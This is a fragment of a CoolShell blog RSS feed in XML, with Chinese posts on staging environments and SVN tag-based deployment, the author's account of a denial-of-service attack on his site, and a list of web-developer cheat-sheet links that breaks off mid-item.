CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3698.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>预发布环境,Tag发布机制和可重复的部署过程</title>\n\t\t<link>https://coolshell.cn/articles/3709.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3709.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 20 Feb 2011 07:28:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Tag]]></category>\n\t\t<category><![CDATA[投递]]></category>\n\t\t<category><![CDATA[部署]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3709</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面文章由网友吕毅投递，源文是：http://blog.lvscar.info/?p=427 —————————————————————————————————...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3709.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3709.html\">预发布环境,Tag发布机制和可重复的部署过程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"font-size: 11pt;\"><strong>下面文章由网友<a href=\"http://blog.lvscar.info/\" target=\"_blank\">吕毅</a>投递，源文是：<a href=\"http://blog.lvscar.info/?p=427\" target=\"_blank\">http://blog.lvscar.info/?p=427</a></strong></span></p>\n<p>—————————————————————————————————————————————</p>\n<p>周末聚会，无意间聊起建筑行业。自己是搞软件开发的，我们的行业从建筑设计/施工过程中借鉴了大量的概念，隐喻，名词。可以说软件就是现实中伴随整个人类历史发展的“建筑”在虚拟空间中的投影。有个两年前问过其他朋友的问题，这次友人又再次提起，“为什么建筑设计过程中没有普遍性的采用版本控制呢？” 瞎扯了一干各种原因后，我们几乎同时想到一个名字”Joel”，建筑设计行业或许缺乏像<a href=\"http://www.joelonsoftware.com/\">Joel Spolsky</a>一样十数年如一日，把自己丰富的经验和深入的思考转化成一篇篇文章以向新人传授软件开发过程中那些容易被忽略的概念。高傲的黑客们会对CMMI之类的认证抱以鄙夷之情，但对Joel整理出的12条写出更好软件的”最佳实践”，大家甚至把此称为审视其他团队开发过程的<a href=\"http://www.joelonsoftware.com/articles/fog0000000043.html\">“Joel TEST”</a>以推崇</p>\n<p>这12条测试如下:</p>\n<blockquote><p>1. 是否启用版本控制？</p>\n<p>2. 是否可以一步构建?</p>\n<p>3. 是否进行每日构建？</p>\n<p>4. 是否有bug跟踪列表？</p>\n<p>5. 是否在修改bug后，才开始写新代码？</p>\n<p>6. 是否及时更新工作计划？</p>\n<p>7. 是否在开发前编写了大家一致认可的功能文档？</p>\n<p>8. 是否有安静的工作环境？</p>\n<p>9. 是否在使用最好的软件开发工具？</p>\n<p>10.是否有专职测试人员？</p>\n<p>11.是否在面试时以实际编写代码来检查求职者？</p>\n<p>12.是否利用陌生人进行可用性测试？</p></blockquote>\n<p>你所在的团队符合其中的几条呢？  觉得这些条目太一般，软件开发原本就该如此？ Joel Test写于十年前，一个Windows XP，Mac OS X,Ubuntu都还没有面世的年代。 如果你觉得这些条目有些过时了，Google中搜索“Joel  Test”，你可以看到这十年内很多对此进行更新的尝试, 比如这两个页面<a href=\"http://geekswithblogs.net/btudor/archive/2009/06/16/132842.aspx\">“The Joel Test  Update for   2010″</a>,<a href=\"http://allinthehead.com/retro/228/\">“Joel  Test  for  web dev”</a>.</p>\n<p><span id=\"more-3709\"></span></p>\n<p>我的主要工作集中在”Web/Mobile  Web”领域，在”Joel Test”写就的年代，Web技术仅仅是一些用记事本就能写出的Html页面。但到了今天，到了经历过BS浪潮,后端编程语言井喷涌现，Ajax和HTML5变得人人皆知的今天。Web技术已经变成了一个由N种后端技术*N种开发语言/框架*N种前端技术交织起来的复杂体系。Web 程序员们觉得Joel开出的列表仍然有价值,那是因为我们的大部分工作仍然延续着上一代程序员们开创的轨迹；我们仍然在通过程序代码释创造力同时避免BUG的出现;我们仍然得谨慎的在强大,华丽与高效之间做着权衡. 相比客户端,Web技术最大的优势在于部署成本的节省,我们的程序和Joel年代最大的区别也在于此。这一年来新的工作岗位让我学到了很多,部署过程正是其中我觉得最值得和大家分享的部分.</p>\n<p>下面这个列表来自前阵子看到的一篇很好的文章<a href=\"http://www.kalzumeus.com/2010/12/12/staging-servers-source-control-deploy-workflows-and-other-stuff-nobody-teaches-you/\">Staging Servers, Source Control &amp; Deploy Workflows, And Other Stuff Nobody Teaches You</a>,标题中的列出的三项和我的体会高度吻合,下面我会对他们一一做出自己的诠释</p>\n<blockquote><p>1.是否采用了预发布环境</p>\n<p>2.是否以Tag作为发布单位</p>\n<p>3.是否让部署过程是可重复的</p></blockquote>\n<div>\n<h3>是否采用了预发布环境</h3>\n<p>关于测试驱动开发的鼓吹中,”免除对代码修改的恐惧”十分具有诱惑力.我们都不喜欢功能逐渐丰富过程中冷不防出现的各种BUG,这些BUG打乱我们的计划,破坏我们的心情,从而让我们对开发新功能的旅程心存恐惧.TDD的最大魅力也来自于通过测试先行来保证后续的功能扩展相对于预期是可验证的. 不过无论你的WEB开发过程是怎样的,最终的代码和内容还是要通过发布来送达到用户浏览器中,你可以对PK需求,修改BUG,延长加班毫无畏惧,但你不能忽略用户体验.代码一旦部署到正式环境上,对你工作的评判不再是项目组中关心你,体谅你的同事.而是千万对错误零容忍的用户. 在发布前你已经做过周全的测试? 新增的每一项功能已经测试过? 很好.不过是在你的开发环境或某处偏僻的”测试环境”中? 服务器OS不一样,Web Server有差别,缓存服务未启用,APP容器或解释器,数据库版本有差别,没接通第三方API, 这所有的一切都可能会造成发布后,你自己或用户刷新网站后的那声”What The fuck?”, 我想这应该是较之修改BUG,你更不想面对的情景吧.</p>\n<p>总的说来,”预发布环境”就等于没有真实用户访问的生产环境, 除了让用户不能访问到外,尽一切可能让这个环境和生产环境一致.每次正式发布时以这个环境为目标,测试流程完成后.把发布内容从这个环境”平移”到生产环境.</p>\n</div>\n<div>\n<h3>是否以Tag作为发布单位</h3>\n<p>从业几年来,”所在团队把SVN当FTP用”是几乎每次朋友们互相吐槽时都能听到的话题,”SVN的分支合并太难用;需要更密切和团队伙伴共享工作内容…”我们可以很轻松的找到不创建功能分支然后进行合并的理由,事实上这么做可能也有一定的”合理性”.但发布时打个Tag,对你的现有开发流程几乎不会带来负担.你不需要切换到<a href=\"http://git-scm.com/\">Git</a>或<a href=\"http://mercurial.selenic.com/\">Mercury</a>,唯一要做的只是在提交后,发布前运行一行svn copy命令,然后在发布目标上用svn switch命令代替svn update来更新代码.只有一点需要注意,创建Tag的svn copy命令的目标最好是一个新的SVN仓库地址(新Tag路径),而不是本地目录.这么做的理由是当以仓库路径作为svn copy目标时,不会产生文件拷贝,而以本地路径为目标执行时,会发生文件拷贝,如果项目包含很多文件,这个过程会较为漫长.如果想避免本地打tag时的文件拷贝,你可切换到分布式版本控制系统.</p>\n<p>这么做的好处也是明显的,虽然我们已经通过预发布环境规避了大部分发布环境可能引入的问题.但当那”万一”发生时.你能够以最快的速度切换到上一次发布时的状态.通常可以通过”$svn switch [上次发布Tag的SVN路径]“一行命令搞定.</p>\n</div>\n<div>\n<h3>是否让部署过程是可重复的</h3>\n<p>如果你所在的团队对开发和运维工作进行了严格切分,这不会是一个问题.但不是所有项目都会到这个规模,如果你是一个幸福的能变更生产环境的Web程序员,请千万小心,你对生产环境的每次调整/优化,都可能让项目部署过程变得不可重复.随着时间的推移,你会忘记当时的配置项.一旦项目需要扩容,恢复,移交.这过程都可能演变成灾难.</p>\n<p>上面提到那篇文章中,提倡用部署脚本来管理部署过程.这是很好的解决方法,但如果你暂时缺乏系统脚本编程能力.分门别类把每次环境配置过程记录清楚吧,就当这项工作要在你不在场的情况下被别人重复执行.</p>\n</div>\n<p>别人说我们是”码农”,我们要把自己当工程师.<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" alt=\"持续部署，并不简单！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_title\">持续部署，并不简单！</a></li><li ><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-150x150.jpg\" alt=\"Mozilla的一个BUG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_title\">Mozilla的一个BUG</a></li><li ><a href=\"https://coolshell.cn/articles/9308.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/03/01-1-150x150.png\" alt=\"“作环保的程序员，从不用百度开始”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9308.html\" class=\"wp_rp_title\">“作环保的程序员，从不用百度开始”</a></li><li ><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" alt=\"粉丝眼中的操作系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_title\">粉丝眼中的操作系统</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li><li ><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"7个免费强大的Ajax文件管理器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_title\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3709.html\">预发布环境,Tag发布机制和可重复的部署过程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3709.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>欢迎攻击酷壳</title>\n\t\t<link>https://coolshell.cn/articles/3686.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3686.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 17 Feb 2011 02:03:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CoolShell.cn]]></category>\n\t\t<category><![CDATA[Hack]]></category>\n\t\t<category><![CDATA[攻击]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3686</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>相信大家都发现昨天下午2011年2月16日，下午从2点到6点，酷壳基本打不开。原因是服务器受到了黑客攻击。从互联网上几乎ping不通服务器（丢包率60%以上，p...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3686.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3686.html\">欢迎攻击酷壳</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">相信大家都发现昨天下午2011年2月16日，下午从2点到6点，酷壳基本打不开。原因是服务器受到了黑客攻击。从互联网上几乎ping不通服务器（丢包率60%以上，ping时延巨大，是平时的10倍以上），我勉强登上服务器查看了系统负载，相当低，于是停止了Apache，发现网络ping马上恢复正常。于是，我启动Apache，再使用iftop查看了一下TCP链接的带宽消耗，发现有那么一两个链接把服务器带宽全部吃完，于是我记录了下IP地址。攻击在下午6点时准停止，就像我们正常下班一样。</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">酷壳受到很多攻击，不过，基本上都是一些注入式的攻击，都是想取得一些权限的攻击。这是第一次受到不以取得权限为目的，而只在以影响酷壳正常运转的攻击。</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">我不竟想到了几个问题：</span></span></p>\n<ol>\n<li><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">为什么要攻击？这只是一个技术blog，这样的攻击目的是什么？</span></span></li>\n<li><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">黑客攻击的背后总是有相关的利益冲突的，不会是没有动机的攻击。</span></span></li>\n</ol>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">所以，我一直在想，是什么样的利益冲突导到酷壳被攻击的？这个BLOG得罪了谁呢？我这个小小的个人的BLOG触动了谁的利益呢？任何事情总是有因果关系的，我很不自然地想到了最近我发布的几篇文章……</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">欢迎攻击酷壳！我很乐意看到某些人生气的样子。</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\"><span id=\"more-3686\"></span><br />\n</span></span></p>\n<blockquote cite=\"#commentbody-30044\"><p><strong><a href=\"#comment-30044\">陈皓</a> :</strong></p>\n<p>谢谢大家的关心。没关系，攻击就攻击吧，攻击这里没有任何的价值。因为，</p>\n<ul>\n<li>我这里又不挣钱，我个人也没钱，这个网站又没有什么商业运作，我也不图利，所以从这图利是图不到的。</li>\n<li>这里的文章RSS输出到很多地方，如GR，douban，有道，鲜果，抓虾……，就算是这里不能正常运转，也不妨碍大家阅读文章。</li>\n</ul>\n<p>所以，<strong>黑客同学，你即不能从这里获利，也不能阻止大家看文章，更不能左右大家的想法。而且黑客行为是刑事犯罪，你即得不到任何好处，还要背上那么大的风险，何必呢？</strong>（我相信黑客同学既然有智商能够使用黑客技术，那一定有智商搞清楚这个问题）</p></blockquote>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"InfoQ的ArchSummit大会对我的采访\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_title\">InfoQ的ArchSummit大会对我的采访</a></li><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/3335.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"Groovy是怎么实现createArray的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3335.html\" class=\"wp_rp_title\">Groovy是怎么实现createArray的</a></li><li ><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" alt=\"一些有意思的网站和贴子\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_title\">一些有意思的网站和贴子</a></li><li ><a href=\"https://coolshell.cn/articles/2376.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"McAfee误杀svchost.exe\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2376.html\" class=\"wp_rp_title\">McAfee误杀svchost.exe</a></li><li ><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"GDB 7.0 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_title\">GDB 7.0 发布</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3686.html\">欢迎攻击酷壳</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3686.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>67</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Web开发人员速查卡</title>\n\t\t<link>https://coolshell.cn/articles/3684.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3684.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 16 Feb 2011 10:59:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Apache]]></category>\n\t\t<category><![CDATA[ASP]]></category>\n\t\t<category><![CDATA[Cheat Sheet]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[Flash]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[MySQL]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Unicode]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3684</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>无论你是多牛的程序员，你都无法记住所有的东西。而很多时候，查找某些知识又比较费事。所以，网上有很多Cheat Sheets，翻译成小抄也好 ，速查卡也好，总之就...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3684.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>无论你是多牛的程序员，你都无法记住所有的东西。而很多时候，查找某些知识又比较费事。所以，网上有很多Cheat Sheets，翻译成小抄也好 ，速查卡也好，总之就是帮你节省 时间的。之前给大家介绍过<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/870.html\" target=\"_blank\">Web设计的速查卡</a>、<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2964.html\" target=\"_blank\">25个jQuery的编程小抄</a>，还有<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1566.html\" target=\"_blank\">程序员小抄大全</a>，今天转一篇开发人员的速查卡，<a href=\"http://www.topdesignmag.com/all-the-cheat-sheets-that-a-web-developer-needs/\" target=\"_blank\">源文在这里</a>。下面的文章我就不翻译了。</p>\n<h2>HTML Cheat Sheet</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"1\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/1128.jpg\" alt=\"\" width=\"450\" height=\"127\" /></p>\n<ul>\n<li><a href=\"http://www.html.su/\" target=\"_blank\">HTML/XTML in one page</a></li>\n<li><a href=\"http://refcardz.dzone.com/refcardz/html5-new-standards-web-interactivity\" target=\"_blank\">HTML5: The Evolution of Web Standards by James Sugrue</a></li>\n<li><a href=\"http://www.elizabethcastro.com/html/extras/xhtml_ref.html\" target=\"_blank\">(X)HTML Elements and Attributes</a></li>\n<li><a href=\"http://www.w3.org/QA/2002/04/valid-dtd-list.html\" target=\"_blank\">Doctype Declarations (DTDs)</a></li>\n<li><a href=\"http://www.digitalmediaminute.com/reference/entity/index.php\" target=\"_blank\">XHTML Character Entity Reference</a></li>\n<li><a href=\"http://downloads.gosquared.com/help_sheets/08/HTML-Help-Sheet-02.jpg\" target=\"_blank\">GoSquared HTML Help Sheet</a></li>\n</ul>\n<p><span id=\"more-3684\"></span></p>\n<p><strong> </strong></p>\n<h2>CSS Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"2\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/2104.jpg\" alt=\"\" width=\"451\" height=\"112\" /></p>\n<ul>\n<li><a href=\"http://www.css.su/\" target=\"_blank\">CSS in one page</a></li>\n<li><a href=\"http://www.elizabethcastro.com/html/extras/cssref.html\" target=\"_blank\">CSS Properties and Values</a></li>\n<li><a href=\"http://www.blooberry.com/indexdot/css/propindex/all.htm\" target=\"_blank\">All CSS Properties Listed Alphabetically</a></li>\n<li><a href=\"http://www.dustindiaz.com/css-shorthand/\" target=\"_blank\">CSS Shorthand Guide</a></li>\n<li><a href=\"http://www.gosquared.com/liquidicity/archives/1010\" target=\"_blank\">GoSquared CSS Help Sheet</a></li>\n</ul>\n<h2>Adobe Flash Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"3\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/312.png\" alt=\"\" width=\"449\" height=\"87\" /></p>\n<ul>\n<li><a href=\"http://michaeldoyle.eu/blog/wp-content/uploads/2009/10/flash-cheat-sheet.pdf\" target=\"_blank\">Flash Cheat Sheet</a></li>\n<li><a href=\"http://edutechwiki.unige.ch/en/Flash_CS3_keyboard_shortcuts\" target=\"_blank\">Flash CS3 Keyboard Shortcuts</a></li>\n</ul>\n<p><strong> </strong></p>\n<h2><strong>ASP Cheat Sheets</strong></h2>\n<h2><strong><img decoding=\"async\" loading=\"lazy\" title=\"4\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/430.jpg\" alt=\"\" width=\"451\" height=\"106\" /><br />\n</strong></h2>\n<ul>\n<li><a href=\"http://refcardz.dzone.com/refcardz/core-aspnet\" target=\"_blank\">Core ASP.NET</a></li>\n<li><a href=\"http://www.newdrp.com/Posters/Development/tabid/67/id/284/Default.aspx\" target=\"_blank\">ASP.NET MVC Framework Cheat Sheet</a></li>\n<li><a href=\"http://www.newdrp.com/Posters/Development/tabid/67/id/286/Default.aspx\" target=\"_blank\">ASP.NET MVC View Cheat Sheet</a></li>\n</ul>\n<h2>PHP Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"5\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/55.png\" alt=\"\" width=\"450\" height=\"112\" /></p>\n<ul>\n<li><a href=\"http://www.dreamincode.net/forums/topic/35660-php-quick-reference-cheat-sheet/\" target=\"_blank\">PHP Basics Quick Reference Sheet</a></li>\n<li><a href=\"http://www.digilife.be/quickreferences/QRC/PHP%20Cheat%20Sheet.pdf\" target=\"_blank\">PHP Cheat Sheet</a></li>\n<li><a href=\"http://www.sk89q.com/content/2010/04/phpsec_cheatsheet.pdf\" target=\"_blank\">PHP Security Cheat Sheet</a></li>\n<li><a title=\"PHP Variable and Array Tests (php version 5.1.6) by Barry Hunter\" href=\"http://www.deformedweb.co.uk/php_variable_tests.php\" target=\"_blank\">PHP Variable and Array Tests</a></li>\n<li><a href=\"http://downloads.gosquared.com/help_sheets/08/PHP-Help-Sheet-01.jpg\" target=\"_blank\">GoSquared PHP Help Sheet</a></li>\n</ul>\n<h2>MySQL Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"6\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/65.png\" alt=\"\" width=\"450\" height=\"89\" /></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/mysql-cheat-sheet/\" target=\"_blank\">MySQL Cheat Sheet by Dave Child</a></li>\n<li><a href=\"http://www.cheat-sheets.org/saved-copy/MySQL_QuickRef.pdf\" target=\"_blank\">MySQL Database Quick Reference</a></li>\n<li><a href=\"http://www.sqltutorial.org/sql-cheat-sheet.aspx\" target=\"_blank\">SQL Statements Cheat Sheet</a></li>\n</ul>\n<h2>JavaScript Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"7\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/75.png\" alt=\"\" width=\"451\" height=\"118\" /></p>\n<ul>\n<li><a href=\"http://www.javascript.su/\" target=\"_blank\">JavaScript in one page</a></li>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/javascript-cheat-sheet/\" target=\"_blank\">JavaScript Cheat Sheet</a></li>\n<li><a href=\"http://wps.aw.com/wps/media/objects/2234/2287950/javascript_refererence.pdf\" target=\"_blank\">Addison-Wesley’s JavaScript Reference Card</a></li>\n</ul>\n<h2>jQuery Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"8\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/85.png\" alt=\"\" width=\"450\" height=\"109\" /></p>\n<ul>\n<li><a href=\"http://colorcharge.com/jquery/\" target=\"_blank\">jQuery Cheatsheet</a></li>\n<li><a href=\"http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html\" target=\"_blank\">jQuery 1.3 Visual Cheat Sheet by Antonio Lupetti</a></li>\n<li><a href=\"http://refcardz.dzone.com/refcardz/jquery-selectors\" target=\"_blank\">jQuery Selectors by Bear Bibeault &amp; Yehuda Katz</a></li>\n</ul>\n<h2>Unicode Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"9\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/97.png\" alt=\"\" width=\"450\" height=\"112\" /></p>\n<ul>\n<li><a href=\"http://www.utf.ru/\" target=\"_blank\">The Unicode Character Code</a></li>\n<li><a href=\"http://www.visibone.com/htmlref/char/cer.htm\" target=\"_blank\">HTML Characters, Numeric Codes, 0-65535 by Bob Stein</a></li>\n</ul>\n<h2>XML Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"10\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/106.png\" alt=\"\" width=\"450\" height=\"111\" /></p>\n<ul>\n<li><a href=\"http://www.xml.su/\" target=\"_blank\">XML in one page</a></li>\n<li><a href=\"http://www.mulberrytech.com/quickref/XMLquickref.pdf\" target=\"_blank\">XML 1.0 Syntax Quick Reference by Mulberry Technologies</a></li>\n</ul>\n<h2>mod_rewrite and .htaccess Cheat Sheets</h2>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"11\" src=\"http://www.topdesignmag.com/wp-content/uploads/2011/01/1111.png\" alt=\"\" width=\"455\" height=\"95\" /></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/mod_rewrite-cheat-sheet/\" target=\"_blank\">mod_rewrite 